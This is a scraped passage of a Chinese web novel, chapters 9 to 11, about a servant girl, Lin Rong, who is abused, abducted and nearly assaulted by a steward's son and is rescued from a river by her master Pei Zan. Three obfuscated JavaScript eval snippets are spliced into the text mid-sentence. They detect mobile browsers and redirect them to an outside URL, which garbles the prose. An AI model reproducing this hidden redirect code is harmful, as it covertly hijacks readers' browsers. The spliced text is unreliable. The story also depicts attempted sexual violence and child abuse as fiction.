;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再迟钝的人,也明白了裴瓒眼中为何浮起冷意……他分明是以为,林蓉故意卖痴犯傻,想要攀龙附凤,勾引裴致远。 林蓉心里郁闷,她不过不识字,才想多学一点罢了,她又不是故意偷听主子们念书的。 当天夜里,林蓉托人去旧书铺子买了一本《千字文》。 她左手抱书,右手还拎了一壶酒、一条下酒的腌银鱼,送去给瘸腿的马奴王伯吃。 听人说,王伯从前也是个读书人,只是家道中落,才来裴家做事。 林蓉把吃食奉上,又道明来意:“我想同王伯学几个字,好歹日后签什么契书,也能写上自己的名字,不用大费周章按拇指印。这是给王伯你下酒的腌鱼,还有酒水,我都热过了,好吃得很……我拿这些吃食,给您当束脩,成不成?” 王伯难得看到想要读书识字的奴婢,一时间竟也有点吃惊,但他好酒,不过是举手之劳,便没有拒绝林蓉的请求。 王伯:“蓉丫头要学些啥?” 林蓉不好意思地抓了抓耳朵:“就从我的名字练起吧……” 林蓉想好了,先学会写自己的名字。 往后别人再问她叫什么,她就能写给他们看了。 - 深夜时分,裴瓒骑马归来,于马厩附近看到了这样一幕。 漫天飞雪里,一名身穿浅粉袄裙的小姑娘蹲在雪地里。 她受寒忍冻,手抓枯枝,在雪堆里一笔一划刻着字。 林林林…… 蓉蓉蓉…… 每个字都写得很大,笔画歪歪扭扭,稚气非常。 女孩写完一片,又抬腿扫得一干二净。 如此反复数次,直到马厩的灯笼被风扑灭,她方才哆哆嗦嗦地进了后罩房。 裴瓒凤眸微眯。 ……她竟是真想习文识字。 9. 第九章 第九章 正月十二日,年味散了,街上那些渡江来贩货的年货摊子渐渐变少。 裴府摘下各色油纸糊的福禄花灯,撤下门楣上挂的红绡灯笼。 管事们也将去年的账目,呈到大夫人沈氏面前,让她过目。账面上大差不差,沈氏便也轻拿轻放,不予苛责。 年初对账是高门大院里最难熬的一关,如今平顺度过,各院管事脸上俱是喜气洋洋。 裴老太太是个慈善人,知道诸事顺遂,还特意将那些吃不完的糖瓜枣栗送去祭灶,再分发给各院的丫鬟小厮,让阖府的仆从们沾沾喜气。 就连林蓉也分到了两条黑糖年糕、一袋炒瓜子。 下午阳光正好,春花晒衣时,和赵婆子闲聊。她说起林蓉接连几夜讲梦话、睡不好的事情,赵婆子讳莫如深,赶紧送了林蓉两根芝麻杆,让她插到窗台上,也好收一收灾年乱窜的瘟鬼。 又过了两天,裴府备好明天出行的箱笼。 此次上普陀寺进香,实是顶好的差事。 每逢裴老夫人入寺礼佛,内院的嬷嬷们都会给下人们散一笔赏钱,因此裴家的奴仆无不想跟着老太太出门上香。 只是出行的人数有限,若非林蓉和赵婆子关系亲厚,恐怕也得不到这样的机会。 林蓉知道赵婆子出了大力,心里感激。 夜里,她特意蒸了糯米,捣成甜糍粑,再煎得焦香,淋上崖蜜,送去给赵婆子下酒。 赵婆子就爱吃这口绵软弹牙的煎糕,得了林蓉的孝敬,喜得见眉不见眼,连声夸她乖巧。 林蓉伺候好赵婆子入睡,又踅身出了门。 没等林蓉走两步,刘管事的儿子刘青山气喘吁吁跑来,将她堵了个正着。 刘青山是刘管事的独子,今年二十岁。虽长得不算丑陋,但个子不高,贪财好色。 前些日子,刘青山偷了灶房里的鱼翅燕窝,又倒手卖给酒铺,害得裴老太太的年宴上凑不齐十多盅鱼翅汤,险些丢了大脸。 刘青山的恶行败露,气得沈氏拿人发落,差点打断他一双腿。 还是刘管事哭天抢地力保儿子,方才留下刘青山一命。 刘青山贪图林蓉的美色,之前官司缠身,消停了一段时间,如今刑满释放,又出门蹦跶。 林蓉不欲理他,转身要走。 刘青山见她绝情,忙上前来与她拉扯:“蓉儿!蓉儿!你等等我!” 林蓉被他拉扯衣袖,气得胸腔起伏,骂了声:“你做什么?!小心我和阿婆告状!” 刘青山知道林蓉是赵婆子罩着的人,不敢同她硬来,只叫唤了一声:“蓉儿,你这人也忒不识好歹了。你去普陀寺礼佛的机会,可是我专程和我爹求来的。若非我执意要带你去,恐怕你还得不到老太太的赏赐呢。” 林蓉知道刘青山在胡说八道,她懒得理他,作势要走。 刘青山见林蓉不领情,又急急追来:“我和我爹说好了,你要是嫁我,聘礼给二十两银子,而且他还会去老太太跟前,为你讨个进内院做事的恩典!” 刘青山自觉此番安排,有钱又有权,当真是体面至极。 奈何林蓉压根儿就没有在裴府久留的心思。 先不说她少时差点被刘管事打死在雪地里,多亏裴瓒路过,方能捡回一条小命;再者,两个奴才生下的孩子,顶破天也是家生子,她好不容易有了赎身的盼头,又怎愿子孙后代继续为奴为婢? 林蓉受够了那种任主子摆布的无望日子,她就想出府,像个人一样自在生活。 况且刘青山这人奸滑,他已经不是第一次纠缠府上丫鬟了,嘴上说喜欢林蓉,私下勾搭小姑娘,还有外院的小姑娘不识人心,真被他骗了身子,险些怀了胎。 林蓉又不蠢笨,怎可能和他纠缠不清。 但刘青山到底是管事的儿子,林蓉不敢真的和刘青山撕破脸,只加快脚程,一溜烟跑回奴仆们休息的后罩房里,栓好了房门。 - 翌日,各房主子呼奴唤婢,闹闹嚷嚷坐上马车,启程前往普陀寺。 林蓉也挤在下人坐的堆货牛车,一路浩浩荡荡上山。 这次正月参拜神佛,裴老太太专程带了三牲熟食、糟鹜时菜,还请僧人取来莲花灯,供在普陀寺里祈福。 裴老夫人听完法事讲经后,谢知府携妻带女,亲自来接裴家人去山中别院小住。 裴家有官身的男人,唯独裴瓒一人。 谢知府的品阶又低裴都督那么多,自然要携礼拜谒,恭敬有加,不敢摆什么远亲舅父的谱子。 此次赏梅宴,有大都督裴瓒镇场,江州官场的官吏翻不出什么浪花。在场的众人各个提心吊胆,厚着脸皮上前,殷勤讨好裴瓒。 就是见了裴家的仆妇,那些衙门官署里的老爷也得笑脸相迎,口颂新年新禧,不敢有丝毫的慢待。 官眷们那几根神气的尾翎被裴瓒剪了,下人们伺候起宾客,便极为舒心称意,不会受什么磋磨。 只是林蓉实在有点背时运,竟被东道主的女儿谢依棠盯上了。 上次谢依棠在除夕官宴上丢尽颜面,回家还被谢知府罚跪一夜,甚至禁足半月。 她越想越气。 谢依棠不敢怨裴瓒,自然要千方百计折腾那个让她当众出丑的小丫鬟。 若不是林蓉心机深沉,非要把一盏茶水泼她裙上,谢依棠怎会当众罚人,还被裴瓒逮个正着? 因此,谢依棠故意半道拦下林蓉,点着她的脑门,命令:“你……过来伺候本小姐!” 谢依棠是裴家二夫人的亲侄女,也就她有胆子使唤裴府的奴仆。 林蓉吃过教训,知道这位目无下尘的谢小姐实在不好惹,纵然心中惊慌,但也强行镇定下来,跟着谢依棠来到远处庭院的烧肉宴。 林蓉心知肚明,谢依棠再愚钝,也知道赏梅宴人多眼杂。 就算谢依棠心里存气,至多折腾两下林蓉,却不敢要林蓉的性命。 免得谢依棠当众打杀裴家奴仆,又要与裴瓒撕破脸,挨父亲的骂。 不过谢依棠手上漏下的一点小折腾,也足够林蓉吃不了兜着走了。 谢依棠自己要吃羊油串子,等林蓉烤好了,她又把那肉签子往雪堆里一扔,怒气冲冲地道:“这般腻味,你是想噎死我么?!倒是个刁奴,心思深沉,瞧着就讨厌!滚去雪地里跪着!” 林蓉不敢抵抗,她利落地起身,低眉顺眼地跪到雪堆里,连头都不抬。 这样一个逆来顺受的木头人,倒让谢依棠满腔怒火无处发,仿佛一拳打进棉花里。 谢依棠心气不顺,但她看着风雪中冻得瑟瑟发抖的小姑娘,又觉得林蓉不过一个奴婢。 奴仆本该如此低贱,她又怎敢给主子甩脸子? 谢依棠懒得搭理林蓉。 她要陪着阿娘打牌,急忙撩裙离开,任林蓉被风雪吞没。 林蓉在雪地里受冻,她的肩头披满了雪絮。 可没有主子吩咐,她又不敢起身,只能盼着外院缺人手,赵婆子能奉老太太的命,过来传唤奴仆,往各院送菜。 许是林蓉的祈求当真撼动上苍,冯叔路过烧肉的庭院,恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484317|185665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧看到林蓉像一只冻伤了的雀子,蜷在角落里瑟瑟发抖。 “这是怎么了?”冯叔多看了两眼,很快就有小厮给他解释来龙去脉。 敢情是谢家小姐装大尾巴狼,打压裴家的奴仆来了。 冯叔跟着裴瓒走南闯北,又是都督府唯一的老管事,自然眼高于顶,连这些官家小姐也不放在眼里。 他冷哼一声,想到近日送膳的奴仆不够尽心,老是躲懒,甚至在收拾碗碟的时候,还会偷吃饭食……倒不如抬举林蓉一回,积一积阴德。 于是,冯叔朝林蓉招了招手:“蓉丫头,大少爷快跑马回来了,你去院子里送膳伺候吧。” 林蓉当然明白,冯管事是随意想了个由头,救她于水火间。 林蓉感激地点头:“嗳,冯管事,我这就去送膳。” 说完,林蓉扶着冻肿了的膝盖,颤巍巍站起。 冯叔见她一瘸一拐走远,走路的姿势僵硬,分明是冻伤了双腿。 庭院角落又没有人看着她跪地,何必这般老实受罚……这丫头的心眼,倒是真实诚啊。 - 林蓉方才在雪地里跪了半天,衣裤沾满雪絮。屋里火盆一烘,湿泞泞的全浸到小腿,腿肚子登时既痒又冷。 但给裴家主子送膳是大差事,林蓉不敢有丝毫怠慢。 只能忍过这一遭,再回房里换衣衫。 等林蓉提着食盒来到裴瓒备膳的花厅,她看到整个花厅都铺满了贵重的波斯地毯,一时间愣在原地。 贵人主子们敢穿鞋入内,可她不过是个人微言轻的奴婢,倘若她踩脏了这块毯子,也不知会不会被主人家责罚。 林蓉犹豫不决。 既担心褪鞋入内,不够雅观,又怕耽搁太久,手里饭菜变凉…… 没等她想出个两全其美的法子,屋外已然传来了笃笃的马蹄声。 月洞门外的一道幽径,无数雪泥飞溅,一袭胜雪广袖翩跹,迎风猎猎作响。 没一会儿,清隽俊逸的男人策马临近。 来人正是裴家话事人裴瓒。 林蓉吓了一跳,不敢拿乔儿,急忙跪地请安:“奴婢林蓉见过大少爷……奴婢奉冯管事之命,特来给大少爷送膳。” 裴瓒下马,松开缰绳。 裴瓒没应林蓉的话,他如斯冷淡,仅仅看了林蓉一眼。 随后,裴瓒抚摸马鬃,任那一匹名唤“墨云”的战马自行回去马厩吃喝,又与林蓉错身而过,入花厅解衣,净手,什么话都没说。 林蓉见惯了各家贵主轻慢的态度,自然明白裴瓒这般做派,是默许她入内布膳的意思。 只是,她盯着自己那双脏污的绣鞋,还是小心谨慎地问了一声:“大少爷……” 裴瓒眼皮微撩,“何事?” 林蓉咬了下唇,“奴婢的鞋履沾泥,怕是会污了地毯……您是否要奴婢脱鞋入内?” 此言一出,裴瓒取帕子擦手的动作一顿。 男人望向林蓉的寒漠目光,莫名带了一点微妙的审视。 “你若想脱,我不阻你。” 裴瓒的声音幽冷沉肃,无可,无不可。 闻言,林蓉微微一怔。 很快,林蓉脸色发白,反应过来……她故意在裴瓒眼皮底子下,露出女子最为金贵的赤足与脚踝。 此举一点都不像是尽心竭力伺候主子用膳的奴婢,倒似、倒似蓄意勾引裴瓒的通房丫鬟。 难怪裴瓒方才看她的那一眼,略有些意味深长。 他以为林蓉居心不良,自是心存鄙薄,低看她一眼。 10. 第十章 第十章 林蓉不知该如何解释,又或许她不必多言。 她深知奴仆身份卑贱,仅仅碎了一只瓶,脏了一块毯,折了一株珍草,被杖刑打死在庭院的奴仆比比皆是,遑论开罪了手眼通天的裴大都督。 林蓉不敢赌裴瓒生出的那点微乎其微的好心,她是卑贱的泥人,任人捏圆捏扁。 不过是一句奚落,一记讥诮的眼神,稀松平常,她能忍受。 于是,林蓉褪下脏兮兮的棉鞋,仅剩下裹住足踝的白袜。 今天的素布袜子没有被泥浸透,她便没有脱去。 林蓉屈膝跪在置着净手脸盆的木架边上,认真洗手,再将膳食从鸡翅木提梁食盒里端出,稳稳当当摆到桌上。 一应事不疾不徐,得心应手。 布完膳,林蓉又收回手,低眉敛目地后退,跪至一旁的绒毯,等待裴瓒用膳叫退。 林蓉没有眼波乱飘,也没有搔首弄姿,她很本分地干完活,像一尊木头人一般乖乖听候吩咐。 如此识趣的婢子,一点都不惹人生厌。 裴瓒用过饭后,又洗漱清口,饮了一盏茶。 裴瓒很重世家公子的规矩,食不言寝不语,只是用饭后,他也没有立时喊林蓉出去。 好在林蓉膝下的宝相花毛毯很软乎,屋里也烧着无烟银炭,热烘烘的,并无半分不适。 也是因此,即便林蓉与裴瓒这等凶煞邪神共处一室,她也不觉特别难捱。 林蓉身上湿透,又骤然遇热,暖室里待久了,她又有点昏昏欲睡。 没等林蓉恍神,一抹高大峻拔的黑影悄然而至。 男人被烛火打出的阴影如潮涌至,将身躯娇小的林蓉,尽数笼罩其中。 裴瓒的眼风清冷锋利,如乌云压顶,山洪倾颓,威慑力逼人。 如此近的距离,令林蓉无端端又想到了那天夜里充斥着痛感与惊恐的房事。 她的仿徨散去,精神又被吊起,整个人如坠冰窟,就连骨头缝里也渗出冷意。 但林蓉一想到如今二人身处房门洞开的饭厅,裴瓒再肆无忌惮,应该也不会于大庭广众之下,对她动手。 毕竟那天夜里,裴瓒行事前,还将门窗阖得严丝合缝。 他不过被人下了药,才失了神智,平日还是极要颜面的权贵,不会行那等下作之事。 林蓉安抚完自己,强装镇定,问他:“大少爷可有吩咐?” 林蓉话虽如此,其实她的手脚早已僵硬,连呼吸都窒在口鼻。 裴瓒垂眸下视,凝于林蓉绑着乌鸦鸦发辫的后颈。 女孩的衣领底下狭长的指痕消散,唯有那一颗薄润的骨珠在薄皮底下拧着、鼓着,如她一样垂死挣扎。 裴瓒的绵长气息,拂落发顶,温雅的檀香渐近,林蓉不免瑟缩肩头,忽而听到他冷不丁开口。 “正月初三那夜,你可曾往玉尘院送过茶水?” “奴、奴婢差事繁多,一时半会儿也记不起……”林蓉杏眸微颤,面如白壁,她的肩头瞬间僵直,没敢抬头,默默忍受着掌心不断沁出的热汗。 她疑心裴瓒查出了什么。 毕竟她那天晚上因吃痛也有对身后之人求饶过,期间泄出过一星半点儿的声音。 可是女孩子的嗓音婉约,大多都是温婉娇弱,光是裴家,声音相似的婢子都不知凡几。 裴瓒应该不至于单凭几句话,就确认她是那个冒渎主子的婢子……而且裴瓒知道林蓉常来玉尘院送膳,兴许是他心存疑虑,随口发问罢了。 想到这里,林蓉抱有侥幸心理,硬着头皮回答:“似乎没有。” 闻言,裴瓒唇角微牵,弧度极淡:“许是我认错了……你退下吧。” “是。”林蓉如释重负,她收拾完碗碟后,背对着裴瓒,悄无声息地穿鞋离去。 林蓉抱着那一只食盒,如踏悬空钢丝,每一步都走得极稳。 她不敢泄出丝毫慌张,生怕一点细枝末节的破绽,就能引起裴瓒的疑心,而后连人带魂都被他拘于此地,永世不得超生。 - 到了戌时,别院的主子们都睡下了。 赵婆子提来一篓冰洞里网上来的螃蟹,又在锅里烫了几壶生姜黄酒,喊外院的仆妇们一起吃喝。 冬蟹没有秋蟹肥美,但胜在肉嫩鲜滑,一捏一嗦,满嘴流汁,下酒真是一绝。 外院的下人虽然月钱少,但胜在自由,婆子们掌着公厨,只要夜里别闹出太大动静,别私自偷拿那些贵重的食材,寻常往灶膛里丢个毛豆、芋头,没人会管。 而内院的丫鬟小厮虽然伺候主子体面,但院中私厨只能用来给哥儿姐儿煲汤,想吃点夜食那是门儿都没有。 赵婆子从蒸笼里夹出一只肥美的螃蟹,置于林蓉的碗里,“累一天了,赶紧吃些。” 林蓉今日既受罚,又受惊,属实魂不附体。 她感激阿婆的贴心,在吃蟹前先喝了一盏暖身的黄酒。 待酒水顺着咽喉,烧热肺腑,林蓉方才回过魂来,欢喜地叹道:“还是阿婆这儿松快,心里不担事儿。” 富贵听了就笑:“那可不!赵阿婆最疼蓉姐姐了,下午门房刚捞上来的大螃蟹,别院都趁新鲜吃了,阿婆非要留到蓉姐姐忙完才吃,馋得我一晚上当差跑腿都在惦记锅里的螃蟹呢。” 林蓉拆了一碗蟹肉给赵婆子下酒,又拿了一只螃蟹递给富贵,“哪次吃食短了你,说得多可怜似的,赶紧吃两口堵堵嘴吧。” “嗳,谢阿姐赏!”富贵耍猴似的唱戏,逗得大家伙儿哈哈大笑,一顿夜宵吃得其乐融融。 林蓉为了驱寒,多吃了些酒。 但她忘记今日受凉,又被酒劲儿冲到脑子,不过三杯便醉醺醺,晕乎乎。 林蓉不能陪人喝酒了,她打了声招呼,回房休息。 明天主子们都外出打猎,夜里才有灶房的活计,下人们可以多睡一个时辰,谁都不愿这么早散了酒宴,便招呼林蓉先去睡觉,他们再喝一盅黄酒。 林蓉走出厨房的时候,天仍飘雪,远处梅林被盈盈月华普照,灼灼十里。 林蓉驻足看了一会儿,心里五味杂陈。 她也知道这些花景雪景好看,但她没有那一份赏花的闲心。 每日不是忙着扫洒院落,就是忙着端茶倒水……她忙着如何求生,半点都没有属于自己的时间。 就连赏花都成了极其奢侈的事。 林蓉想,若她有朝一日离开了裴府,她一定要在某一年大雪皑皑的冬天,煎好炊饼或者蒸一份红枣米糕,然后带着一个装了兔毛毯子的大包袱,上半山腰赏雪赏梅花。 她不用急着做活,她很自由,她想在外待到多晚都行。 林蓉咧嘴一笑,仿佛幸福美满的日子近在眼前。 没等她朝前走上两步,忽然一只蒲扇大的手,捂住了她的口鼻。 林蓉奋力挣扎,可身后的男人人高马大,力气更重,竟是下了死手。 林蓉呜呜地喊叫,直到一股浓烈的药味灌进口鼻。 她的脑袋嗡然,随后眼眶发热,腿骨发软,竟就这么晕了过去。 再等睁眼的时候,林蓉置身于一间废旧的屋子,房梁悬着蛛网,桌面沾着灰尘,显然是久不住人。 林蓉口塞布条,双手后折,被一根粗粝的麻绳紧紧缚着。 她感受到衣襟微敞的冷意,不由发起哆嗦,一扭头,又看到刘青山满脸晕红,踉踉跄跄地靠近。 林蓉唇色惨白,吓得发抖。 “蓉、蓉儿,我也不想如此行事。可我爹说了,只要咱俩好上,旁的事,他都能帮咱们摆平……无非是洞房花烛夜提前了些,你放心,我聘金照给,我会对你好的!” 刘青山酒气熏天地靠近,他嘴上致歉,一双眼睛却亮的出奇,分明是蓄谋已久。 男人那只粗粝手掌触上林蓉的脖颈,在她的雪肤上放肆地游走,几乎要钻进衣襟之中。 林蓉花容失色,亦恨得目眦欲裂。 这个蠢人!他有老子娘罩着,倘若出事,刘管事也会力保他。 哪里像林蓉,孤苦伶仃,无人倚仗。一个秽乱后宅的罪名落下,她焉能有好?怕不是要被浸猪笼了! 林蓉心性洒脱,并非看重贞洁之人。此前委身裴瓒,也不过是不敢违抗主命,加之报恩还债,借此逃脱内宅。 可刘青山呢?!他是刘管事的儿子! 少时刘管事待人刻薄,嫌林蓉是个瘦弱的女孩,刘管事欺她笨口拙舌,常常以调教之名,棍棒相加。 林蓉浑身伤痕累累,恨刘家人入骨,又怎肯嫁进这样的人家。 林蓉忍着那股催人作呕的酒气,她趁着刘青山想要低头索吻的瞬息,猛地抬头,拼死撞上男人的额角。 这一下痛击,林蓉抱着鱼死网破的心思,不见血不休。 莫说刘青山被林蓉撞懵了,就连林蓉自个儿都磕坏了脑门,流了一脸的鲜血。 林蓉忍住疼痛,她趁着刘青山到底叫唤的时候,一个鲤鱼打挺蹦下了床。 林蓉双手受缚,动作受阻,她只能背过身,缓慢地抽开门闩。 刘青山捂头晕了半天,很快反应过来,林蓉这是要跑! 他今晚成事也罢,若是没成事,还让林蓉在主子面前告上一状,后果不堪设想! 刘青山气狠了,他忍着痛,脸上横肉颤动,一双眉眼愈发狰狞,作势就要抓回林蓉。 林蓉心脏砰砰直跳,她不敢有半分迟疑,即便眼见刘青山拔腿靠近,她也强迫自己静下心抽动门闩。 千钧一发之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484318|185665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际,林蓉猛地拔出那一根门闩,后撤一步。 刘青山伸出猿臂,企图抓人,怎料他脚步不稳,竟跌进雪地里。 柴门大敞,风雪兜头卷入,吹得林蓉脸上泪痕生疼,乌发群魔乱舞。 林蓉浑身汗湿,她不敢逗留,急忙往屋外跑去。 刘青山从雪絮里爬起身,他大惊失色,只能在女子身后,穷追不舍。 这一刻,刘青山失了什么怜香惜玉的心思,他恨不得打断林蓉双腿,拔了她的舌头,免得她还有牛劲儿,能这样作妖,害他落得万劫不复之地。 林蓉的双手被麻绳绑得结实,口中又塞了布块,叫天不应叫地不灵。 她浑身的血液冷凝,止不住战栗,她当真害怕再次落入刘青山的贼手。 她已然惹怒了刘青山,她知道自己一旦回到贼窝,不会有好果子吃。 刘青山又这般奸滑,竟将她藏到偏僻的寺庙寮房,此地距离主子们住的别院,可有两刻钟的路途! 林蓉没命地跑,她的双腿冻得发木,口鼻被风雪堵塞,几乎要喘不过气来,想到今日发生的事,她的心底愈发委屈、愤恨,甚至想和刘青山同归于尽。 不管是裴瓒还是刘青山,她一个都不想招惹! 她就想好好过自己的日子,早点赎身离开裴家……凭什么、凭什么连这点愿望都不能满足她! 林蓉简直气得要吐血,她实在不懂,这辈子她究竟造了什么孽! - 夜深的时候,富贵出门放.尿。 也是晚上黄酒吃多了,他竟看到刘青山下了黑手,将五花大绑的蓉姐姐扛上了牛车! 富贵吓得面无血色,没等他喊人,那辆牛车已然扬长而去。 富贵扑了个空,他观望了一下牛车的方向,想起昨日刘青山和人吃酒,还说起附近有一座久不住人的荒庙,用来办事儿正好。 富贵虽然年幼,但他混迹外院许久,当然听得懂刘青山口中的荤话是什么意思,眼见着林蓉被人掳走,他立马反应过来,这厮是想玩阴的!他想霸王硬上弓,和林蓉生米煮成熟饭! 可刘青山是刘管事的独子,谁敢蹚这一趟浑水救人? 能镇得住刘管事的大拿,唯有府上的主子们,或是玉尘院的冯叔了。 思及至此,富贵立马想到今晚在梅林赏雪的大少爷裴瓒……主子既然在梅林里,那么冯叔一定也在! 富贵一咬牙,捋起袖子,朝掌心呸了两声。 他搓了搓手,给自己打气,随后,少年人足下生风,一溜烟跑进了林中。 - 夜穹岑寂,皓月千里。 裴瓒忽生雅意,要来林中赏梅。 谢家人知道了,自然是用各色煌煌花灯,将腊梅林子妆点一番,以此火树星桥的盛景,殷勤讨好这位权势滔天的武勋都督。 裴瓒吃了一壶东州秋露白,倚着一棵花叶虬结的腊梅树假寐。 许是当真有些困倦,他身上披的白狐黑氅卷落,玉簪微松,一头如瀑青丝披散肩背。 男人长睫凝雪,一动不动,远观过去,竟少了几分武将的凶悍暴烈,平添几分文臣的竹骨松姿。 只是,这等静谧祥和的场景,终是被一阵急匆匆的脚步声惊扰。 良辰美景被人惊扰,裴瓒微掀薄薄眼皮,不悦地扫向远处。 那名瘦骨嶙峋的小厮富贵,朝裴瓒的方向,马不停蹄地跑来。 他一记滑铲,跪至裴瓒面前大力磕头:“大、大少爷,求您开恩,救救我阿姐!我阿姐被刘青山掳去了!奴才怕阿姐出事,实在是没法子才求到您的面前!求您大发慈悲,搭把手,救救阿姐!” 富贵不敢招惹裴瓒,但他寻不到冯叔,只能死马当活马医,万一他运道够好,万一他能求得裴瓒开恩。 但他显然不了解,杀人如麻的裴大都督是何等狠戾心性,若非今夜心情不错,他头一个下手,便是拧断富贵的颈子。 裴瓒今晚的好梦被人惊扰,本就心情浮躁,又听他一个外院小奴也敢来叨扰主家,不由冷笑:“你胆子倒大,不过是家奴间的打闹,也敢来惊动家中主子。” 富贵额头都要磕肿了,他无计可施,既已求主,只能继续哀求:“奴才实在没法子了,动手的是刘管事的儿子,没人敢管这污糟事。奴才实在寻不到人帮忙,只能求爷来压人!求您了!再耽搁一会儿,恐怕蓉姐姐要出事了!” 蓉姐姐。 裴瓒长指微顿,凤目轻阖,“你方才说……你阿姐叫什么?” 富贵虽不懂裴瓒为何这样问话,但他捕捉到一线生机,忙高声回话:“林蓉……阿姐名唤林蓉!是外院的扫洒丫鬟!” 咔嚓—— 酒杯破裂。 玉盏如斯脆弱,竟碎于裴瓒的长指之间。 11. 第十一章 第十一章 为了避开刘青山,林蓉失足跌进湍急的冰河之中。 咚的一声巨响。 河岸潮水汹涌,白浪高叠,声若惊雷。 林蓉双手被缚,虽口中紧塞的布块被河水冲出,但她已失温受冻,无力呼救、无法抵抗。 隆冬天的江河没有结冰,但掺杂了冰渣子,河水极其寒冷。 林蓉的棉袄吸水涨大,裹挟着她,沉沉往下坠。 在这一瞬间,林蓉忽然身心俱疲,她觉得好累。 林蓉畏水,自小学不会泅泳。 弟弟才三岁就敢下河摸鱼,她却只能提着竹篮子在溪边摸螃蟹、摸螺蛳。 因林蓉三岁时,曾被父亲丢到河里,险些溺亡。 林蓉记得很清楚。 那一年,弟弟出生。家中有了男丁,父亲不想再养赔钱货,故意用一块饴糖,诱林蓉上河边玩耍。 那是父亲第一次对林蓉笑,第一次带她出门玩。 林蓉尚存对父亲的孺慕之情,不疑有他,直到她被父亲压着脑袋,摁在水下,无论她怎么哭叫、颤抖,林父都不为所动。 林蓉险些溺毙,还是河边浣衣的阿婆惊叫一声,声嘶力竭地提醒林父:女娃娃怨气重,会跟着人回家,你儿子刚出生,八字轻,小心冤魂讨命。 林父为了保护儿子,将信将疑地松手,林蓉趁机渡气,胆战心惊地爬回岸上,保下了一条命。 林蓉将那天的话牢记于心。 她是为了弟弟而生,她的命不值钱。 因此,在父亲为了养活弟弟,将林蓉卖给牙人的那天,林蓉没有哭过。 她不觉得难受,也不会委屈,明明是稚气的年纪,心里却担着事儿。 在她迈进裴府的那一刻,她欠家人的债,便还清了。 …… 林蓉的手脚麻木,她浑身冰冷,冻得颤抖。 河水幽暗,如同深渊巨口,将林蓉尽数吞噬。 她不停下坠,她会命丧于此。 直到林蓉腰上受力,有水蛇一样的坚韧绳索,不由分说缠上女孩的细腰,不过鞭梢一抖,林蓉就被一股大力卷上了河岸。 河底混沌的黑暗褪去,林蓉从阴曹地府里回魂。 她被一条长鞭拉出水面,整个人结结实实砸进雪地里。 女孩姿势狼狈,摔得遍体鳞伤,但好在命保住了。 林蓉挣扎片刻,胸腔剧烈起伏,很快她卧趴于地,强迫自己呕出那些腥咸的河水。 林蓉不想死,她还想活着走出裴府。 身后,执鞭的男人收回长鞭,缓步靠近。 那条束缚林蓉双臂的麻绳,也被来人用一柄匕首挑开。 林蓉松绑,得以逃出生天。 她长出一口气,双手疲乏无力地撑着地,求生欲驱使她不断抠动喉骨,吐出咽下的脏水。 林蓉浑身湿透,凌乱不堪。 棉袄的盘扣破损,衣襟也在河水的冲刷之下,敞得更开。 林蓉绾发的丝绦丢失,湿漉的乌发尽散,披拂后脊,勉强拢住圆润的肩头。 没等她再度站起身,一抹清微深幽的檀香由远及近渡来,萦绕上她的鼻尖。 几根微热的长指,扣住林蓉的肩头,不容置喙地下压,制止了她起身的动作。 林蓉身体一僵。 她无措地感受着,男人指腹碾上她湿滑的雪肤,留下怪异的暧昧触感。 一串质感生凉的珠子敲在她的后颈,紧贴她的脊柱,擦着林蓉的衣领来回滚动…… 林蓉的嘴唇发白,瑟瑟发抖。 她茫然回头,恰巧迎上了一双冷寂幽邃的凤眸。 是裴瓒来了。 大少爷救了她。 林蓉脑袋混沌,她受冻太久,无法思考,只能如一只栗栗危惧的家雀,任裴瓒打量、审视。 裴瓒并未看她,两根玉指不紧不慢地沿着女孩后肩游走。 他看到了那一朵艳若梅花的血色胎记…… 许是知道林蓉快被冻死了,裴瓒难得生出了一点好心。 他解开披身的狐氅,罩住了衣冠不整的林蓉。 就此,赤着肩背的小姑娘,被裴瓒尽数裹进厚重的衣袍之中。 浓郁的檀香沾染了林蓉一身,她的手脚缓慢回温,周遭浸透了裴瓒雅致的气息。 柔软大氅传来缕缕暖意,试图将林蓉破冰化冻。 远处,看到林蓉得救的刘青山,早已吓得屁滚尿流,他俯身跪地,不住地磕头。 “大少爷明鉴,蓉儿和奴才情投意合,本就有成亲之意,方才落水,也只是我俩在河边嬉闹……” 刘青山跪地求饶,一张巧嘴把黑的也说成了白的。 府上下人成亲不是什么大事,常有外院丫鬟许配给家中管事的。 奴仆通婚,在府里怀胎生子诞下的孩子,也称之为家生子。因自小就受主家调教,这样的丫鬟小厮,主子用起来也更为放心。 刘青山想将自己从此事里摘出来,他百般无奈,行此下策,只盼着林蓉聪慧,莫要开口反驳。不然惹怒了大少爷,他们二人都吃不了兜着走! 刘青山看到裴瓒现身,心里也纳闷得很。他对内院的主子们一贯敬而远之,对这位神通广大的大房少爷也并不了解。 但他不认为裴瓒是什么多管闲事的人,更不觉得这位养尊处优的权贵,能对一个下等丫鬟另眼相待。 